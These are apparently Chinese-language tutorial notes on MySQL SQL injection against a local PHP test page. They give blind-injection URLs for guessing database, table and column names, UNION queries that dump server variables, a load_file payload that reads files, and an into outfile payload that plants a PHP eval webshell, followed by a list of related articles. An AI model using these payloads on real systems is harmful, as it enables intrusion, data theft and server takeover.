第四天:

一、新的注入函数:

  • ascii()
  • substring("string",n,m)                     n>=1
  • limit n,m                                        n>=0
  • length()
  • union                                            合并两个或多个 SELECT 语句的结果集,不重复
  • union all                                        同上,但允许重复数据
  • select distinct                                等同于select,但会去重
  • load_file()                                      文件读取
  • into outfile                                     文件写入

information_schema.schemata          存储所有数据库信息

  • SCHEMA_NAME                             数据库名
  • DEFAULT_CHARACTER_SET_NAME  数据库编码
  • GLOBAL_VARIABLES                       所有全局变量

二、猜解数据库个数、库名、表名、列名:

//猜解当前数据库长度、及库名
http://127.0.0.1/first.php?x=1 and Length((database()))=5 //当前数据库长度(数据库名:sqlin)
http://127.0.0.1/first.php?x=1 and ascii(substring((database()),1,1))=115 //猜解当前数据库第一位,ascii(s)=115
http://127.0.0.1/first.php?x=1 and ascii(substring((database()),2,1))=113 //判断数据库个数
http://127.0.0.1/first.php?x=1 and (select count(schema_name) from information_schema.schemata)=6 //判断所有数据库长度
http://127.0.0.1/first.php?x=1 and length((select distinct schema_name from information_schema.schemata limit 0,1))=18 //等同于下一条
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 0,1))=18 //第一个数据库
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 1,1))=5
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 2,1))=17
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 3,1))=5
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 4,1))=9
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 5,1))=4
http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 6,1))>0 //不存在第7个数据库 //猜解所有数据库库名
http://127.0.0.1/first.php?x=1 and ascii(substring((select distinct schema_name from `information_schema`.schemata limit 0,1),1,1))<79 //第一个数据库名的第一个字符ascii值
http://127.0.0.1/first.php?x=1 and ascii(substring((select distinct schema_name from `information_schema`.schemata limit 1,1),1,1))<79
http://127.0.0.1/first.php?x=1 and length((SELECT table_name from information_schema.tables where table_schema=0x73716C696E limit 0,1))=4 //第一个数据库的第一个表名的长度
http://127.0.0.1/first.php?x=1 and ascii(substring((SELECT column_name from information_schema.columns where table_schema=0x73716C696E and table_name=0x6E657773 limit 0,1),1,1))=105 (i)
http://127.0.0.1/first.php?x=1 and ascii(substring((SELECT column_name from information_schema.columns where table_schema=0x73716C696E and table_name=0x6E657773 limit 0,1),2,1))=100 (d) 备:
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://127.0.0.1/first.php?x=1 and ascii(substring ((0x41),1,1))=0x41 //抓包抓到的语句,substring后有一个空格,导致这段注入无效,可能是工具bug

文件读取:

  • 1. 要么使用“\\”,要么使用“/”,避免使用“\”造成转义
  • 2. load_file("C:/phpStudy/WWW/first.php")可以写成十六进制格式load_file(0xnnnnnnn)
  • http://127.0.0.1/first.php?x=1 union select load_file("C:/phpStudy/WWW/first.php"),2,3

文件写入:

  • http://127.0.0.1/first.php?x=1 union select "<?php eval($_GET['caidao']); ?>",2,3 into outfile "C:/phpStudy/WWW/caidao.php"

网站路径获取方式:

  • 1.报错显示,漏洞报错
  • 2.遗留文件:phpinfo.php、php.php、info.php、test.php
  • 3.读取配置文件
  • 4.社工:域名即路径、google搜索、inurl:edu.cn warning、

  

三、information_schema下global_variables表在注入时可能有用的信息:

  • version 数据库版本
  • basedir 数据库安装路径
  • datadir 数据库文件存放路径
  • hostname 服务器的主机名
  • port 数据库端口
  • pid_file 进程pid文件路径
  • general_log_file 日志文件路径
  • character_set_server 字符编码
http://127.0.0.1/first.php?x=1 UNION SELECT variable_name,2,3 from information_schema.global_variables
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x76657273696F6E //version版本,直接通过VERSION()也可以获取
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x62617365646972 //basedir数据库的路径
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x44415441444952 //datadir数据库文件存放路径
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x686F73746E616D65 //hostname服务器主机名
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x504F5254 //PORT数据库端口
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x5049445F46494C45 //pid_file进程pid文件路径
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x47454E4552414C5F4C4F475F46494C45 //GENERAL_LOG_FILE日志文件路径
http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x4348415241435445525F5345545F534552564552 //CHARACTER_SET_SERVER字符编码
mysql> show variables; //或者在交互模式中查看所有全局变量 低权限用户也可以访问:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| test |
+--------------------+
2 rows in set (0.00 sec) mysql> use information_schema;
Database changed
mysql> select variable_value from global_variables where variable_name=0x686F73746E616D65;
+----------------+
| variable_value |
+----------------+
| win7-PC |
+----------------+
1 row in set (0.00 sec)

  

WEB安全 php+mysql5注入防御(二)的更多相关文章

  1. WEB安全 php+mysql5注入防御(一)

    注入利用函数: concat()函数将多个字符串连接成一个字符串 database() 当前数据库,用途:获取数据 version() 数据库版本,用途:利用版本特性,如5.0版本下的informat ...

  2. 小白日记44:kali渗透测试之Web渗透-SqlMap自动注入(二)-sqlmap参数详解REQUEST

    Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--d ...

  3. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

  4. WEB 安全之 SQL注入 < 二 > 暴库

    SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...

  5. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  6. Web前端攻击方式及防御措施

    一.XSS [Cross Site Script]跨站脚本攻击 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户 ...

  7. Bypass ngx_lua_waf SQL注入防御(多姿势)

    0x00 前言 ​ ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...

  8. 简单了解:Web前端攻击方式及防御措施

    一.XSS [Cross Site Script]跨站脚本攻击  恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用 ...

  9. 23. Bypass ngx_lua_waf SQL注入防御(多姿势)

    0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...

随机推荐

  1. ios开发 学习积累20161027~20161031

    前言 学习ios这几天来,总结下,函数的定义,调用.跟其他语言都有一定的区别: 几个特别重要的就是对象的迭代的使用和判断.取随机数.动画的实现及数组的深入研究等等 之前的总结地址 ios开发 学习积累 ...

  2. php 函数的嵌套

    /*一定要小心变量作用域*/ function insert_dynamic() { function bar() { echo "I don't exist until insert_dy ...

  3. 4、构造方法、this、super

    构造方法 构造方法引入 * A:构造方法的引入 在开发中经常需要在创建对象的同时明确对象的属性值,比如员工入职公司就要明确他的姓名.年龄等属性信息. 那么,创建对象就要明确属性值,那怎么解决呢?也就是 ...

  4. Lua脚本语言基础知识

      注释 在Lua中,你可以使用单行注释和多行注释. 单行注释中,连续两个减号"--"表示注释的开始,一直延续到行末为止.相当于C++语言中的"//". 多行注 ...

  5. Dubbo 体验(一)

    最近新加入一个项目组,所使用的是Dubbo,采用的架构是分布式架构,数据库采用MySQL分片.之前也接触过一下,但为了能更好融入团队,所以找Dubbo官网看文档. 才发现Dubbo的官网已搬去apac ...

  6. 工厂方法模式(GOF23)

    耦合关系直接决定着软件面对变化时的行为 主要对模块之间的关系进行整理,依赖关系倒置(依赖反转),变化快的东西不能影响到变化慢的东西 用封装机制来隔离易变的对象,抽象部分(不易变)和细节部分(可能容易变 ...

  7. HDU P2222 Keywords Search

    In the modern time, Search engine came into the life of everybody like Google, Baidu, etc.Wiskey als ...

  8. WC2017 游记

    你若安好,便是晴天. 其实本来是有一个写的比较详细的游记的……然而后来给断了,懒得补上了,简单一点好了. Day 0 早早爬起来去赶高铁…… 路上没太多可以写的……坐高铁的时候想起来了一些不开心的事情 ...

  9. 洛谷P3763 [TJOI2017]DNA(后缀数组 RMQ)

    题意 题目链接 Sol 这题打死我也不会想到后缀数组的,应该会全程想AC自动机之类的吧 但知道这题能用后缀数组做之后应该就不是那么难了 首先把\(S\)和\(S0\)拼到一起跑,求出Height数组 ...

  10. Sql语句常用关键字

    --语 句 功 能--数据操作SELECT --从数据库表中检索数据行和列INSERT --向数据库表添加新数据行DELETE --从数据库表中删除数据行UPDATE --更新数据库表中的数据 --数 ...